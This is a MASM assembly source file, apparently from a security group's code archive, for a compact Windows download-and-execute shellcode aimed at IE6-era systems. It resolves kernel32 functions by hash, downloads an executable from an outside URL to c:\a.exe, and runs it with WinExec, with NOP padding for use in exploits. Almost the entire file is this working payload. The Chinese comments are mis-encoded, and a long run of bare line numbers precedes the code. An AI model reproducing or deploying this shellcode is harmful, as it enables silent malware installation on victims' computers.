./c0de/others/tinys.txt

0.
1.
2.
3.
4.
5.
6.
7.
8.
9.
10.
11.
12.
13.
14.
15.
16.
17.
18.
19.
20.
21.
22.
23.
24.
25.
26.
27.
28.
29.
30.
31.
32.
33.
34.
35.
36.
37.
38.
39.
40.
41.
42.
43.
44.
45.
46.
47.
48.
49.
50.
51.
52.
53.
54.
55.
56.
57.
58.
59.
60.
61.
62.
63.
64.
65.
66.
67.
68.
69.
70.
71.
72.
73.
74.
75.
76.
77.
78.
79.
80.
81.
82.
83.
84.
85.
86.
87.
88.
89.
90.
91.
92.
93.
94.
95.
96.
97.
98.
99.
100.
101.
102.
103.
104.
105.
106.
107.
108.
109.
110.
111.
112.
113.
114.
115.
116.
117.
118.
119.
120.
121.
122.
123.
124.
125.
126.
127.
128.
129.
130.
131.
132.
133.
134.
135.
136.
137.
;Tiny Download&&Exec ShellCode codz czy 2007.6.1
;header 163=61(16+8+9+(28))+95(68+27)+17
;163+19=192
comment %
                #--------------------------------------#          #
              #  Tiny Download&&Exec ShellCode-->       #       #
            #    -->size 192                              #   #
          #                      2007.06.01                 #  
            #                    codz: czy                #   #
            #                  www.ph4nt0m.org           #     #
             #------------------------------------------#       #
 
system :test on ie6+XPSP2/2003SP2/2kSP4
%
.586
.model flat,stdcall
option casemap:none
 
include     c:\masm32\include\windows.inc
include     c:\masm32\include\kernel32.inc
includelib  c:\masm32\lib\kernel32.lib
include     c:\masm32\include\user32.inc
includelib  c:\masm32\lib\user32.lib
 
 
.data
shelldatabuffer db 1024 dup(0)
shellcodebuffer	db 2046 dup(0)
downshell	db 'down exploit',0
.code
start:
	invoke	MessageBoxA,0,offset downshell,offset downshell,1
	invoke	RtlMoveMemory,offset shellcodebuffer,00401040H,256
	mov	eax,offset shellcodebuffer
	jmp	eax
	somenops db 90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h,90h
;ÉÏÃæµÄ´úÂëÊÇ°ÑÔÚ´úÂë¶ÎÖеÄshellcodeÒƶ¯Êý¾Ý¶ÎÖÐÖ´ÐУ¬Ä£ÄâÕæʵµÄshellcodeÖ´Ðл·¾³	
@@shellcodebegin:		
	call	@@beginaddr
@@beginaddr:
	PUSH 03H      ;Òªµ÷ÓõÄAPIº¯Êý¸öÊý
	jmp	@@realshellcode          
myExitProcess     dd 073e2d87eh   
myWinExec         dd 00e8afe98h    
myLoadLibraryA    dd 0ec0e4e8eh
dll               db 'URLMON',0,0
myUrlDownFile     dd 0702f1a36h
path              db 'c:\a.exe',0
url               db 'http://www.ph4nt0m.org/a.exe',0
 
 
 
@@realshellcode:
    POP ECX
    POP EDI
    SCASD ;edi+4
;µÃµ½kernel32.dll»ùµØÖ·
db  67h,64h,0A1h,30h,00h
	mov eax, [eax+0cH]
	mov esi, [eax+1cH]
    lodsd 
	mov ebp, [eax+08H]          ;EBPÖдæ·Åkernel32.dllµÄ»ùµØÖ·
;´¦Àíµ¼³ö±í
@@next2:
PUSH      ECX
@@next3:
MOV       ESI,[EBP+3Ch]
MOV       ESI,[EBP+ESI+78h]
ADD       ESI,EBP
PUSH      ESI
MOV       ESI,[ESI+20h]
ADD       ESI,EBP
XOR       ECX,ECX
DEC       ECX
@@next:
INC       ECX
LODSD
ADD       EAX,EBP
XOR       EBX,EBX
@@again:
    MOVSX     EDX,BYTE PTR [EAX]
    CMP       DL,DH
    JZ        @@end
    ROR       EBX,0Dh
    ADD       EBX,EDX
    INC       EAX
    JMP       @@again
@@end:
CMP       EBX,[EDI]
JNZ       @@next
 
POP       ESI
MOV       EBX,[ESI+24h]
ADD       EBX,EBP
MOV       CX,WORD PTR [ECX*2+EBX]
MOV       EBX,[ESI+1Ch]
ADD       EBX,EBP
MOV       EAX,[ECX*4+EBX]
ADD       EAX,EBP
STOSD
POP       ECX
loop @@next2
 
mov ecx,[edi]   ;2
cmp cl,'c'      ;3
jz @@downfile   ;2
PUSH EDI
CALL EAX        ;2
xchg eax,ebp
scasd
scasd
push 01         ;2µÚ¶þ¸öDLLµÄº¯Êý¸öÊý
jmp @@next3     ;2
                ;×ܼÆ17
 
 
@@downfile:
 
	push	edx  ;0
	push	edx  ;0
	push    edi  ;file=c:\a.exe
	lea     ecx, dword ptr [edi+9h]
	push    ecx  ;url
	push	edx  ;0
	call	eax  ;URLDownloadToFileA,0,url,file=c:\a.exe,0,0
 
 
	push 1 ;FOR TEST
	push edi
	call dword ptr [edi-14H] ;winexec,'c:\xxx.exe',1
 
    call dword ptr [edi-18H] ;Exitprocess
 
    somenops2 db 90h,90h,90h,90h,90h,90h,90h,90h,90h
    invoke ExitProcess,0
end start
 
 

Back